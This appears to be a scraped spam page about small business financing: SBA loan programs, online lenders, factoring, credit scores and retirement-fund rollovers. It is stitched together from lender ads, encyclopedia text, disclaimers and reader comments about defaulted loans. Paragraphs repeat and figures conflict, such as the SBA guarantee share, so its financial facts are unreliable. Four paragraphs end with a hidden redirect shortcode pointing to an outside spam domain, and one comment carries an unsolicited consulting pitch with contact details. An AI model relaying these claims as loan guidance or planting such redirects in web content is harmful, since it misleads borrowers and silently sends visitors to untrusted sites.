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The SBA has another financing program called SBA Express, which aims to respond to loan applications within 36 hours. If your credit and small-business finances are in excellent shape, the wait may be shorter. The maximum amount for this type of financing is $350,000, and the maximum amount the SBA could guarantee is 50%.

Research conducted by the Association of Women’s Business Centers indicates that 64% of WBC clients in 2012 were low-income, 39% were persons of color, and 70% were nascent businesses.[17] WBC services are provided in more than 35 languages, with 64% of WBCs providing services in two or more languages. In addition to business training services, 68% of WBCs provide mentoring services, and 45% provide microloans.[17]

Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.

Loans Subject to Lender Approval. Depending on the state where your business is located and other attributes of the loan, your business loan may be issued by Celtic Bank, a Utah-Chartered Industrial Bank, Member FDIC. Your loan agreement will identify the loan issuer prior to your signing.

SBA loans come from participating banks, credit unions, and licensed non-bank lenders but they are partially guaranteed by the U.S. Small Business Administration (SBA), a federal agency that promotes small business ownership in a variety of ways.

“Companies like OnDeck are so important – they help you build your business credit while removing stressful ups and downs in cash flow, which is really helpful for businesses like mine. Last year we made about 300 watches, and this year we’ll make over 1,000 thanks to funding from OnDeck.”

More than likely, you’ll need an excellent business credit score as well as good personal credit to qualify for an SBA loan or traditional loan from a bank; this will depend on the individual lender and business factors such as your revenue, cash flow and time in business. In general, online lenders look at personal credit scores but can be a bit more lenient when it comes to credit score requirements, as they place more emphasis on your business’s cash flow and track record.

For-profit lenders are reluctant to issue loans to anyone who does not have a strong credit report and financial history. That is not the case with government small business loans. Obviously, a decent credit report is important, and you will have to follow the guidelines regarding the repayment period and the interest rate set by the government, but usually the interest rates charged by government loans are lower than those you could expect in the private sector.

Loan applications are extremely detailed and take a lot of work to put together. If you’re shopping lenders independently, each bank will require a separate application. But by working with Guidant, you’ll only need one loan application, which we’ll send to our large network of lenders to help you find the perfect fit.

The maximum amount you can borrow with an SBA disaster loan is $2 million. The maximum repayment time is 30 years, though the SBA will determine the repayment time on a case-by-case basis depending on your ability to pay back the loan.

SCORE, the nation’s largest network of volunteer, expert business mentors, was founded in 1964[18] as a resource partner of the U.S. Small Business Administration. SCORE has since educated more than 10 million current and aspiring U.S. small business owners through its free mentoring and free and low-cost workshops[18]. In 2016, SCORE’s more than 10,000 volunteer mentors helped their 125,000 clients create 54,072 small businesses, adding 78,691 non-owner jobs to the U.S. economy[18].

SBA loans also can provide a way out of a damaging financial situation. Terry Trumbull, owner and president of Trumbull Meats in Hamburg, Michigan, got an SBA loan through SmartBiz that allowed him to refinance much more burdensome funding. It was “killing me,” he says, and the SBA loan provided relief. But he did have to wait a couple of months and deal with many requirements, he adds.

With a strong personal credit score and at least one year in business, you can turn to StreetShares and OnDeck for equipment and expansion financing. StreetShares is better if you’re seeking a smaller amount of financing: You just need $25,000 in annual revenue to qualify for its term loan, which maxes out at $100,000. If you have at least $100,000 in revenue, OnDeck, with loans up to $500,000, is better suited for more mature businesses seeking larger amounts of financing.

• Contact lenders. You need to find a bank or lender that works with the SBA. Most leading commercial banks will offer 7(a) loans, but so do credit unions and other lenders. You can find a list of local SBA lenders by state on the SBA website. “You can contact more than one,” Cruz says. “But this should not be the first time you meet the banker. There are three people that every business person should have a relationship with — an accountant that knows your industry, a lawyer that knows your industry, and a banker that knows your industry.” If you have a relationship with a banker, that’s who you start with, Cruz says. If you don’t know the bankers in your community, try to get around it by having someone you know refer you. Call possible lenders, providing a brief profile of you and your business to see if the lender has an interest in exploring the possibility of a loan. If so, make an appointment to meet the lender(s).

Contrary to what many people think, the SBA itself does not issue loans. Banks, credit unions, community development organizations, microlending institutions, and other partners actually make the loans. For qualifying loans, the SBA guarantees part of their repayment. The maximum guarantee is 85 % for loans under $150,000 and 75 % for loans over $150,000.

With banks reluctant to take any chances with their own money in the wake of the credit crisis, loans guaranteed by the U.S. Small Business Administration have become a hot commodity. Indeed, funds to support special breaks on fees and guarantees on SBA-backed loans have run out a number of times. And while SBA-backed loans are open to any small business, there are a number of qualifications, including:

Factoring is a finance method where a company sells its receivables at a discount to get cash up-front. It’s often used by companies with poor credit or by businesses such as apparel manufacturers, which have to fill orders long before they get paid. However, it’s an expensive way to raise funds. Companies selling receivables generally pay a fee that’s a percentage of the total amount. If you pay a 2 percent fee to get funds 30 days in advance, it’s equivalent to an annual interest rate of about 24 percent. For that reason, the business has gotten a bad reputation over the years. That said, the economic downturn has forced companies to look to alternative financing methods and companies like The Receivables Exchange are trying to make factoring more competitive. The exchange allows companies to offer their receivables to dozens of factoring companies at once, along with hedge funds, banks, and other finance companies. These lenders will bid on the invoices, which can be sold in a bundle or one at a time.

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Small Business Loan Guide With so many options to choose from, how do you decide which loan program is right for your small business? Our simple guide will help you decide which programs will be best for your business needs, just follow these steps to get started:

This article should have armed you with enough information on the 6 types of SBA loans to help you decide which one is right for you. If you don’t think any of the SBA loans are right for you, there are plenty of other financing options available for you, which you can learn about by reading our other articles.

Finding financing in any economic climate can be challenging, whether you’re looking for start-up funds, capital to expand or money to hold on through the tough times. But given our current state of affairs, securing funds is as tough as ever. To help you find the money you need, we’ve compiled a guide on 10 financing techniques and what you should know when pursuing them.

We are not a private financeer or a bank, we are just a company that writes about SBA Loans and financing, as well as a variety of other things. But, if you need a lender, check out our sister company, Fitbizloans.com to speak to a knowledgable representative who can start working on an SBA loan for you.

The SBA guarantee reduces the risk for lenders, allowing lenders to make loans to businesses that they would otherwise not lend to. For example, businesses with insufficient down payments or collateral for conventional bank loans may be able to qualify for a loan that’s backed by an SBA guarantee. Similarly, borrowers usually receive loans with lower interest rates and longer repayment terms than they would with conventional commercial loans.

In most cases, maintaining a good business credit report is enough to qualify. In addition, it instills confidence not only in the lender, but also in you. There is at least one SBA office in every state in America. If you contact them regarding the startup status of your business model and plan, you can get started on a government small business that will give you the financing to make your dreams a reality.

Rand & Janeel, eyeSmith Sport & Fashion Optical; Kansas City, MO After raising eight children, Rand and Janeel were ready to start a new chapter for their family. The couple put their past business experience to good use and tapped into their retirement funds to start an independent eyewear business.

The 504 Fixed Asset Financing Program is administered through non-profit Certified Development Companies throughout the country. This program provides funding for the purchase or construction of real estate and/or the purchase of business equipment/machinery. Of the total project costs, a lender must provide 50% of the financing, a Certified Development Company provides up to 40% of the financing through a 100% SBA-guaranteed debenture, and the applicant provides approximately 10% of the financing. Thorough due diligence of properties purchased through this program is required. Specific SBA Level I Environmental Site Assessment guidelines apply as all properties are treated as “high risk.” The Small Business Jobs Act permanently increased the maximum size of these loans from $2 million to $5 million ($5.5 million for manufacturers).

In addition to mentoring, SCORE also offers free and low-cost educational workshops each year, both online and in-person. In 2016, clients attended 119,957 online workshop sessions, while 237,712 local workshop attendees benefited from SCORE’s in-person educational programming[18].

In 2005, SBA Inspector General Report 5-15 stated, “One of the most important challenges facing the Small Business Administration and the entire Federal government today is that large businesses are receiving small business procurement awards and agencies are receiving credit for these awards.”[29]

Job creation is promoted by requiring businesses to create or retain one job for every $65,000 that is loaned, except for small manufacturers, which can receive $100,000 for each job created or retained.

An unsecured business loan is a loan that does not require the borrower to pledge assets of the company to borrow funds. However, in most cases an unsecured loan requires a personal guarantee of repayment and will generally have a higher interest rate and fees.

SBA loans come in several types, with different allowable uses. “Most of these loans can be used for working capital, to renovate business facilities, purchase equipment, finance receivables, and in some cases, finance the purchase of company facilities,” Anderson says. “Existing businesses and start-ups can qualify for SBA business loans, but some lenders do not fund start-ups.”

The loan guarantee is in effect credit insurance – typically, it means that the SBA will cover a portion of any loan losses incurred by the bank, up to 90%. Note: these programs don’t mean that a business owner who defaults on his loan won’t be expected to eventually pay off his or her balance.

Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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Its best to retain one of the firms that specialize in resolving these SBA loans. If you will contact me, we can give you one free consulting session to discuss your situation and suggest some ideas. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected].

Put yourself in the lender’s shoes–why should they lend you money? When applying for a loan, treat it as if you’re applying for a job. Instead of a great resume, however, you need a stellar application. That means understanding your financial situation and deciding what you can use for collateral, which might include your house. A business person who does the latter shows they believe in their business. Cash flow and credit quality are other key factors. And dress professionally; if you look like you don’t need the money, you’re more likely to get it.

One of the best options you have when your business is facing a short-term financial need is an unsecured business loan – and you won’t have to risk important company assets. There’s also no risk to your home, vehicles, or long-term assets like a 401(k) or IRA.

California loans made pursuant to the California Financing Law, Division 9 (commencing with Section 22000) of the Finance Code. All such loans made through Lendio Partners, LLC, a wholly-owned subsidiary of Lendio, Inc. and a licensed finance lender/broker, California Financing Law License No. 60DBO-44694.

With a business line of credit, lenders will establish a credit limit for a maximum amount of money they will lend you. You can draw as much as you need up to your limit and like a credit card; you pay interest only on the amount you borrow. Business Lines of Credit can help bridge the gap during seasonal lulls and other lean periods. A business line of credit can ensure that you always have the capital you need, when you need it.

Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options.

Businesses with special requirements (such as those in exports or those operational in rural areas) are covered under this program. This is considered to be the most flexible choice, and also the most suitable one if you have a start-up in mind. The different 7(a) loan programs are:

The truth is that many small businesses fail and there are a variety of reasons for this — under-capitalization, lack of planning, or the person who owns the business is really good at one thing but bad another. For example, they may be good at baking cakes but maybe they don’t know how to read financial reports. But after the credit crisis that started in 2008, banks seized up on loans to businesses and individuals and, in general, were lending only to established large businesses that were already highly capitalized. In this climate, SBA-backed loans became all the more important as a lifeline to small businesses and the federal government acted to lower rates and increase the amount of small business loans they would guarantee for banks, from 75 percent to 90 percent in some cases.

Late payment fee: This fee is self- explanatory-it’s charged when a loan payment is made past its due date. A late payment fee may be either a flat fee, frequently around $10 to $35, or a percentage of the payment amount or outstanding balance (often 2% – 5%).

You can get small-business loans from several places, including banks, nonprofit microlenders and online lenders. These lenders offer products including term loans, lines of credit and accounts receivable financing.

The U.S. Small Business Administration, or SBA, is a federal agency that provides loan guarantee programs to businesses that may not be able to get traditional bank loans and receive long-term, low interest rate funding. The SBA has a number of loan programs designed specifically for small and medium sized businesses, including microloans, SBA 7(a) loans, and CDC/504 loan program.

Those with poor credit in a business-to-business environment that have receivables can use them as collateral. Alternative lenders, such as so-called Internet lenders, will charge higher interest rates, but generally have more relaxed standards.

The only thing you aren’t able to use the SBA Microloan proceeds for is real estate and refinancing debt. That said, how you plan to use the proceeds of the loan will be closely scrutinized by the nonprofit intermediary lender and can have an impact on approval.

The partner institutions set their own interest rates according to the creditworthiness of the borrower and the specifics of the startup or small business. However, on average, the interest rates range from 8% -13%.

Any applications submitted electronically shall have the same force and effect as if the application bore an inked original signature(s). The above information, together with any accompanying financial statements, schedules, or other materials, is submitted for the purpose of obtaining credit and is warranted to be true, correct, and complete.

I have loan to Wells Fargo and sba loan key bank. Main loan is my business n me n my partner are guarantor. I received a foreclosure letter which will be on 3/19. There s a prospective buyer to the building but lower to the amt I owed to both loans. Pls I need your help to guide me what to do. I don’t want them to go after to my house which is my only assets. The buyer offered 900.000.00. I owed them total 950.000.00 plus broker fee. Pls help

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We want to ensure that our valued applicants fully understand why we have the requirements that we do. For instance, we require that businesses be operational for at least 3 months before we will provide them with a loan. This is to ensure you have gotten your business off the ground, have a use for the capital, and can responsibly handle the payments.

A message from Inc. – Looking for factoring solutions for your business? If you would like information to help you choose the one that’s right for you, use the questionnaire below to have our partner, BuyerZone, provide you with information for free:

Equipment financing allows you to borrow money to purchase necessary business equipment outright. The borrower will pay back the total amount borrowed, plus interest and fees over a pre-arranged period of time.

Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.

Following a natural disaster in my state, I was granted an SBA loan in order to make the repairs to my home. The amount of the loan was below $10,000.00, so they were not required to place a lien on my home (I was told that any amount over $10,000.00 required that a lien be placed on the home). I lost my job in 2007 and have been unable to maintain full-time employment since due to numerous lay offs. My house was foreclosed on last year and I have been in default on the SBA loan. I feel that my only way out of this financial ruin is to file bankruptcy. Will bankruptcy discharge my SBA loan?

Is your business growing at a rapid pace? Then it might be time to expand your business! Whether this means increasing your space or your product and service options, many business owners use their loan for expansion projects.

Lenders vary in the amount and history length of the documents they need to process your loan application. Be prepared to provide up to 2 years of history. Not all lenders will require two years on all documents, but many will not require more than that. In any case, be prepared to furnish all requested documentation.

Loan Processing and Service fees: Over the lifetime of a loan, your lender will perform a variety of activities, such as customer service or billing, to manage and administrate the loan. A service or processing fee is used to cover the cost of these expenses. Service fees are frequently billed monthly or according to the loan repayment schedule, but some lenders may only charge a one-time service fee. Service fees are usually charged as a percentage of payment amount (if billed regularly) or of the total loan amount (if one- time).

I had a Partner in a C Corportation 50/50 I left the corp in 2007- With a 48 page legal document signed by the boss of us – With everything he was liable for including the SBA loan he stop paying and claim bankruptcy they cam after me 3 years latter and took money from ,me. What do i do? Long was with bank of America.

The SBA Builders Line of Credit is designed to help small contractors or developers to construct or rehabilitate residential or commercial property that will be sold to a third party that is not known at the time construction or rehabilitation begins. The purchase of land cannot exceed 20% of the CAPLine proceeds.

Small Business Administration (SBA) loans offer a practical method of small business financing for entrepreneurs looking to start, buy or expand a business. You can use the funds to purchase real estate, cover construction costs or to use as working capital.

Notes are not guaranteed or FDIC insured, and investors may lose some or all of the principal invested. Investors should carefully consider these and other risks and uncertainties before investing. This and other information can be found in the prospectus. Investors should consult their financial advisor if they have any questions or need additional information.

8. This week I got a call from a person by the name of Danny from a debt collector in New York called “Conserve”. He informed me that he was a debt collector for the Treasury and that I owed $512,348.20 and needed to make arrangements for payment.

A business credit card offers revolving credit, making it a solid option for short-term expenses. It can also be easier to qualify for a business credit card than a small-business loan. While credit limits tend to be smaller than a line of credit, a business credit card may offer rewards, such as cash back or travel points. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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Our working capital needs calculator will help you determine how much of a small business loan or line of credit you should apply for to cover working capital needs for the next year. Simply enter your desired annual growth rate, current assets, and current liabilities, and your target current ratio to find out what you need.

Choosing the right small business loan isn’t as difficult as it seems, though. When you apply for a loan with Merchant Advisors, one of our expert financial advisors will work with you every step of the process. He or she will discuss all your loan options, assist you in collecting the necessary documents, help in estimating how much cash your business needs, and keep you informed throughout the life of your loan to help you with loan renewals, terms adjustment, and make you feel relaxed and contented.

The best kept secret in startup financing is a Rollover for Business Startups. If you have $50k+ in your retirement account, it is the fastest way to fund your startup (funding in about 3 weeks). You won’t have to pay any early withdrawal penalties or taxes on the money you rollover. You can request a free consultation with Guidant today to get started.

The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.

It’s difficult to point you in the right direction without knowing more about you and your business. With the amount you need I would encourage you to start by looking at an SBA loan for startups to see if you can qualify. This typically requires 20% or more down, though. If you have at least $50k in a tax deferred retirement plan you could use a ROBS to either cover the costs of your startup or to pay for the downpayment of your SBA loan.

To set up a ROBS your company must also be structured as a “C” corporation and you must have $50K+ in a tax deferred retirement account. The setup costs of $5,000 must come from other means outside of your retirement funds, but the monthly costs can be paid for with any business including the money you roll over.

The Small Business Administration (SBA) is a United States government agency that provides support to entrepreneurs and small businesses. The mission of the Small Business Administration is “to maintain strengthen the nation’s economy by enabling the establishment and viability of small businesses and by assisting in the economic recovery of communities after disasters”. The agency’s activities are summarized as the “3 Cs” of capital, contracts and counseling.[3]

Using a credit card to fund your business is some serious risky business. Fall behind on your payment and your credit score gets whacked. Pay just the minimum each month and you could create a hole you’ll never get out of. However, used responsibly, a credit card can get you out of the occasional jam and even extend your accounts payable period to shore up your cash flow.

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Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.

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At BFS Capital, we provide better funding options for a variety of small businesses. Plus, we’re there for you when you need to make fast investments, striking while amazing business opportunities are still available. That’s because a number of our small business loan options can be secured within a couple of days versus the traditional weeks or months.

Business owners often need to utilize more than one source of financing to get their new startup off the ground. Typical options include business loans, raising money, or using your savings. We’ll analyze the 11 best startup business loans, from SBA loans to angel investors to Rollovers for Business Startups (ROBS).

One of the most popular uses of SBA loans is commercial mortgages on buildings occupied or to be occupied by small business. These programs are beneficial to small business because most bank programs frequently require larger down payments and/or have repayment terms requiring borrowers refinance every five years. They can be beneficial to the bank in that banks can reduce risk by taking a first-lien position for a smaller percentage of the project, then arranging for a SBA Certified Development Company to finance the remainder through a second-lien position.

The SBA Export Express Loan is quite flexible in what the proceeds can be used for. From covering the cost of participating in foreign trade shows, producing promotional materials for foreign markets, or buy equipment and expand your facilities.

Hitting up family and friends is the most common way to finance a start-up. But when you turn loved ones into creditors, you’re risking their financial future and jeopardizing important personal relationships. A classic mistake is approaching friends and family before a formal business plan is even in place. To avoid it, you should supply formal financial projections, as well as an evidence-based assessment of when your loved ones will see their money again. This should reduce the likelihood of unpleasant surprises. It also lets your investors know you take their money seriously. You also need to seriously consider how the arrangement will be structured. Are you offering equity? Or will this be a loan? Perhaps most importantly, you need to emphasize the risk involved. Offer up a strong business plan, but remind them there is a good chance their money will be lost. It’s better to mention that upfront to Aunt Gladys rather than over Thanksgiving dinner.

Great info!I have a small store which was opened 5 months ago. It has a space wherei can also sell breakfast and luncn. I am looking for a small loan that can help me so i can start serving food. The amount that i will need is at least $20K. Will SBA let me borrow that amt or it has to be $50K

Generally, these loans are available to partially self-financed startups (the SBA likes to see that the owner invests at least 30% of their own money in the business) and startups where the owners have prior experience in the industry and in management. The primary benefit of an SBA loan is the low interest rate and long repayment term, making your monthly payments lower than they would be with other loan options.

Smarter Finance USA can finance your equipment up to $100k and structure it as either a loan or a lease. To qualify you’ll need a 650+ credit score (check yours here for free), no bankruptcies, foreclosures, or repossessions, and at least a 10% down payment.

Credit isn’t the only factor that lenders look at to decide if you qualify, though. They’ll also consider your monthly revenue, how long you’ve been in business, and what industry you’re in. So, for example, if your well-established business shows a steady increase in revenue, lenders will leap at the chance to work with you. Literally leap. Don’t let the suits fool you – they do ballet when they get excited.

The most popular SBA loan program is the 7(a) loan, designed to provide funds for a broad list of businesses. These loans target “small” companies, defined according to the North American Industrial Classification System (NAICS), which determines whether a company is small by its annual revenues or number of employees.

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Are you worried about having enough inventory in stock to keep up with your business? With a business loan, you’ll be able to pay for your inventory orders, while still having funds for other areas of your business.

The 8(a) Business Development Program assists in the development of small businesses owned and operated by individuals who are socially and economically disadvantaged, such as women and minorities. The following ethnic groups are classified as eligible: Black Americans; Hispanic Americans; Native Americans (American Indians, Eskimos, Aleuts, or Native Hawaiians); Asian Pacific Americans (persons with origins from Burma, Thailand, Malaysia, Indonesia, Singapore, Brunei, Japan, China (including Hong Kong), Taiwan, Laos, Cambodia (Kampuchea), Vietnam, Korea, The Philippines, U.S. Trust Territory of the Pacific Islands (Republic of Palau), Republic of the Marshall Islands, Federated States of Micronesia, the Commonwealth of the Northern Mariana Islands, Guam, Samoa, Macao, Fiji, Tonga, Kiribati, Tuvalu, or Nauru); Subcontinent Asian Americans (persons with origins from India, Pakistan, Bangladesh, Sri Lanka, Bhutan, the Maldives Islands or Nepal). In 2011, the SBA, along with the FBI and the IRS, uncovered a massive scheme to defraud this program. Civilian employees of the U.S. Army Corps of Engineers, working in concert with an employee of Alaska Native Corporation Eyak Technology LLC allegedly submitted fraudulent bills to the program, totaling over 20 million dollars, and kept the money for their own use.[23]

Late payment fee: This fee is self- explanatory-it’s charged when a loan payment is made past its due date. A late payment fee may be either a flat fee, frequently around $10 to $35, or a percentage of the payment amount or outstanding balance (often 2% – 5%).

Equipment financing allows you to borrow money to purchase necessary business equipment outright. The borrower will pay back the total amount borrowed, plus interest and fees over a pre-arranged period of time.

A business credit card offers revolving credit, making it a solid option for short-term expenses. It can also be easier to qualify for a business credit card than a small-business loan. While credit limits tend to be smaller than a line of credit, a business credit card may offer rewards, such as cash back or travel points.

One of the most beneficial ways to combine financing methods is to use 401(k) business financing with an SBA loan. This allows you to leverage your retirement funds for the loan down payment without triggering any tax penalties.

To help the government fight the funding of terrorism and money laundering activities, Federal law requires all financial institutions to obtain, verify, and record information that identifies each person and business that seeks a business loan. What this means for you: When you apply for a loan, we will ask for your business name, address, and Tax Identification Number. We will also ask for your name, address, date of birth, and other information that will allow us to identify you. We may also ask to see your driver’s license or other identifying documents.

Because you have strong credit but your revenue doesn’t quite meet the requirements of most online lenders, consider Fundbox or a business credit card. Business credit cards are a solid option for ongoing working capital and provide quick access to cash, spending rewards and sign-up bonuses. If your business has unpaid customer invoices, you can take a cash advance against those invoices through Fundbox, although you’ll likely pay a higher APR than you would with a business credit card.

The Small Business Administration (SBA) is primarily known for their loan guarantee programs. Two SBA programs that are more startup friendly are the Community Advantage Program and the Microloan Program. Both programs target new or underserved businesses. All SBA loan types can be used for startups, but some are difficult to qualify for if you don’t have an existing business.

Running a business can be complicated. Successful businesses tend to evolve as they adapt to the market, serve their customers, and build their brands. Some businesses appear to be more… Read More December 28, 2015

Businesses are also eligible for long-term, low-interest loans to recover from declared disasters.[13] Similar to the homeowner’s loan program mentioned above, small business owners pledge any available assets and acquire a similar pledge from a spouse or partner in the case of shared assets. If defaulting on the debt, the spouse or partner must surrender their value in the assets. The total value of an applicant’s assets is not considered by the SBA; therefore, a company may be approved for a loan regardless of whether that entity has little or substantial net worth.

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Financing maximums and terms are determined by borrower qualifications and use of funds. U.S. Bank and its representatives do not provide tax advice. Consult an advisor regarding a particular financial situation. Credit products are offered by U.S. Bank National Association. See a banker for details. Deposit Products offered by U.S. Bank National Association. Member FDIC.

Many small-business owners use credit cards for funding. Business credit cards are best for short-term expenses. Research has shown that small businesses that rely heavily on credit card financing typically fail.

Historically, P2P sites such as Lending Club have focused on providing 1 to 5-year personal loans for the purposes of paying off credit cards or consolidating debt. However, these personal loans can also be used to start, buy, or operate a business. Recently, P2P lenders have also started to offer small business loans, but these are usually reserved for more established businesses.

We’ve learned a lot by working with thousands of small business owners like yourself. With Merchant Advisors, you not only get capital for your business, but also get credit resources, affordable prices, renewal benefits, early repayment savings and, best of all, peace of mind.

Small-business grants from private and government agencies are another way to raise startup funds for your small business. They’re not always easy to get, but free capital might be worth the hard work for some new businesses.

Perhaps the most common way of financing a new small business is to borrow money from friends or family. Of course, if your credit is bad — and your family and friends know it — you’ll have to persuade them that you’ll be able to pay them back.

“I remember the process being smooth and straightforward, it can be incredibly stressful; fortunately, OnDeck had quick questions and quick responses. I could see how much financing I was approved for and what that meant [regarding payback]. I had the opportunity to review everything before I took the loan. The speed and efficiency of the process were incredible. I was able to introduce my RecoveryWear line and increase sales 4X over.”

• Your business first must be turned down for private financing. Yes, you read that correctly. Your business needs to try to get a loan from a bank or other financial institution or lender directly. Under law, the SBA can’t guarantee loans to businesses that can obtain the money they need on their own. So you have to apply for a loan on your own and be turned down.

For Business Physical Disaster Loans interest rates will be less than 4 percent if credit is not available elsewhere, and less than 8 percent if credit is available elsewhere. For Economic Injury Disaster Loans interest rates will be less than 4 percent. For Military Reservist Economic Injury Loans, the interest rate is 4 percent.

Since you’ve been in business more than a year and have decent credit, you may qualify for funding from StreetShares or OnDeck. If you have at least $25,000 in revenue, StreetShares offers a loan or line of credit up to $100,000. If you want more funding, OnDeck has term loans of up to $500,000. OnDeck’s loans, however, can be costlier, with APRs as high as 98%; StreetShares’ funding has a maximum 40% APR.

A Dedicated Financial AdvisorYou will get an email almost immediately with the status of your loan and our expert financial advisors will reach out to you. Our dedicated experts work with business owners like you every day to answer questions about small business loans, financial challenges and getting you the best financing for your business.

As you can see, the SBA Export Loan program very closely resembles the SBA 7(a) loan program. If exports make of some of your business but are not a major portion, an SBA 7(a) loan will offer almost all of the same benefits. We recommend working with SmartBiz for SBA 7(a) loans because their speed and efficiency make what can be a grueling process very easy.

Peer-to-peer (P2P) lending lets you borrowing money through an online service that matches you directly with individuals and institutions. The online technology empowers you to quickly reach lots of debt/income investors you wouldn’t have access to otherwise. Lending Club is the largest P2P site that connects borrowers to investors in a matter of minutes. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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• Review your credit report. “A major consideration for a lender to make a loan is the ‘character’ of the borrower,” Anderson says. “Lenders want to loan money to people who have a positive track record for paying their obligations as agreed.” The “Fair Isaac Credit Score” (FICO) is one measure used to evaluate character. Credit scores can range from 300-850, and it is very important that you have a relatively high score to be able to secure a SBA loan. While some SBA loans may be made with FICO scores below 700, potential borrowers with scores in the high 700s or 800s are generally greeted with respect by lenders. You can review your credit reports — for free — from all three credit-reporting companies — Experian, Equifax and TransUnion — once per year to insure that they are accurate. You need to be prepared because the bank will pull the credit reports on you. If you find mistakes on your credit reports, take steps to correct those mistakes and bring the e-mails, letters, and other correspondence with you to the bank when applying for a loan. “When you go to the bank, you can say, ‘It’s a mistake. It’s not me.’ And you have the letter to show them,” says Cruz. “At least it’s not a surprise to you. You don’t want to be surprised.” Professionals also can provide guidance for improving credit scores. Personal income tax reports for three years will be required for all parties that own at least 20 percent of the company’s equity. A weak FICO Score from a 20 percent to 25 percent owner can badly the obtaining of a SBA Small Business Loan.

Southern Loans is a consumer finance company licensed by the North Carolina Banking Commission. Established in 1988, Southern Loans specializes in personal Loans from $300 to $5000 and automobile purchase loans up to $12,000.

The SBA is not a lender, but rather guarantees small business loans offered by traditional lenders like participating banks and credit unions to encourage lending to small businesses across the country.

The short answer is the score is calculated by looking at personal and business credit history, as well as other business financial information, like: age of the business, number of employees, financial data, such as revenue and assets. It truly is a global view of a business’s overall financial health!

*Seasoned Return calculations represent historical performance data for the Borrower Payment Dependent Notes (”Notes”) issued and sold by Prosper since July 15, 2009. To be included in the calculations, Notes must be associated with a borrower loan originated more than 10 months ago; this calculation uses loans originated through May 31, 2012. Our research shows that Prosper Note returns historically have shown increased stability after they’ve reached ten months of age. For that reason, we provide “Seasoned Returns”, defined as the Return for Notes aged 10 months or more.

Let’s take an average month of operations sales and expenses. Let’s assume the cash flow of your small business is $6,000 (gross sales minus expenses). Now let’s assume that your loan payments will total $1,500 per month. That makes your DSCR a 4, which is pretty strong. Most lenders will look for a score of at least 1.5 and definitely above a score of 1. A DSCR of less than 1 means you don’t have enough free cash flow to repay your loan from business operations.

Business credit cards are right for just about everyone, and should be a part of every business’s financial toolkit. If you’re ready to apply for a business credit card, our guide on the top small business credit cards can help you find the best one for you and your business.

When pitching an angel investor, all the old rules still apply: be succinct, avoid jargon, have an exit strategy. But the economic turmoil of the last few years has made a complicated game even trickier. Here are some tips to win over angel interest:

BizanalyzerTM Dashboard What a FICO score is to personal credit, BizAnalyzerTM is to business credit. Understanding how lenders will evaluate your risk as a borrower will empower you to get the best loan and terms available. Taking a small business loan is an important step in your business operations. Understanding why you are borrowing money and determining the value it brings to your business is a complex and often, an uncertain event.

• Work with the lender. Cooperate with the lender by providing all information requested, so that the lender can complete the evaluation and, if the lender decides to make a deal, submit materials to the SBA, Anderson says. If the loan is approved, you will be notified and requested to sign final loan papers. The lender will then fund the SBA Loan.

Your job is to enter that stuff, then kick back – maybe treat yourself to a smoothie or something. That’s it. One of our funding managers will get back to you within 24-48 hours to help you with the rest of it. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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You can take steps now to start improving your FICO SBSS score, you need to take care of your personal credit and start building business credit. Nav will help you take steps to improve both personal and business credit in one spot.

Keep in touch: An angel may not be interested in your business right away, especially if you don’t have a track record as a successful entrepreneur. To combat that, you should formulate a way to keep them in the loop on big developments, like a major sale.

Also, if you opt out of online behavioral advertising, you may still see ads when you sign in to your account, for example through Online Banking or MyMerrill. These ads are based on your specific account relationships with us.

Your personal credit score ranges from 300 to 850 (the higher, the better), and evaluates your ability to repay your personal debts, such as credit cards, car loans and a mortgage. The FICO score, commonly used in lending decisions, is based on five factors: your payment history (35% of your score), the amounts owed on credit cards and other debt (30%), how long you’ve had credit (15%), types of credit in use (10%) and recent credit inquiries (10%). Small-business lenders require a personal credit score for loan applications because they want to see how you manage debt.

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Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.

The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.

Small businesses still account for over 80 percent of new job opportunities. The path to own and run a small business is open to everyone. In fact, minority groups and those affected by a disaster can avail the various small business loans which are specifically designed for them. So do not be afraid to stand out of the crowd; you do not need an MBA to make this happen. It can be more rewarding that you ever imagined.

Online lenders provide small-business loans and lines of credit from $500 to $500,000. The average APR on these loans ranges from 7% to 108%, depending on the lender, the type and size of the loan, the length of the repayment term, the borrower’s credit history and whether collateral is required. These lenders rarely can compete with traditional banks in terms of APR.

That’s why Melissa came to BFS initially, to get the capital she needed to open her salon’s doors. It’s also what has kept her coming back every time she’s ready to grow, adding more space to better serve her growing clientele.

Your business likely requires steady cash flow in order to run smoothly. Many of the business owners we work with pursue a loan in order to have cash flow stability. With added cash flow, you’ll be able to afford ongoing business expenses, while having additional cash to use for other needs.

You can get small-business loans from several places, including banks, nonprofit microlenders and online lenders. These lenders offer products including term loans, lines of credit and accounts receivable financing.

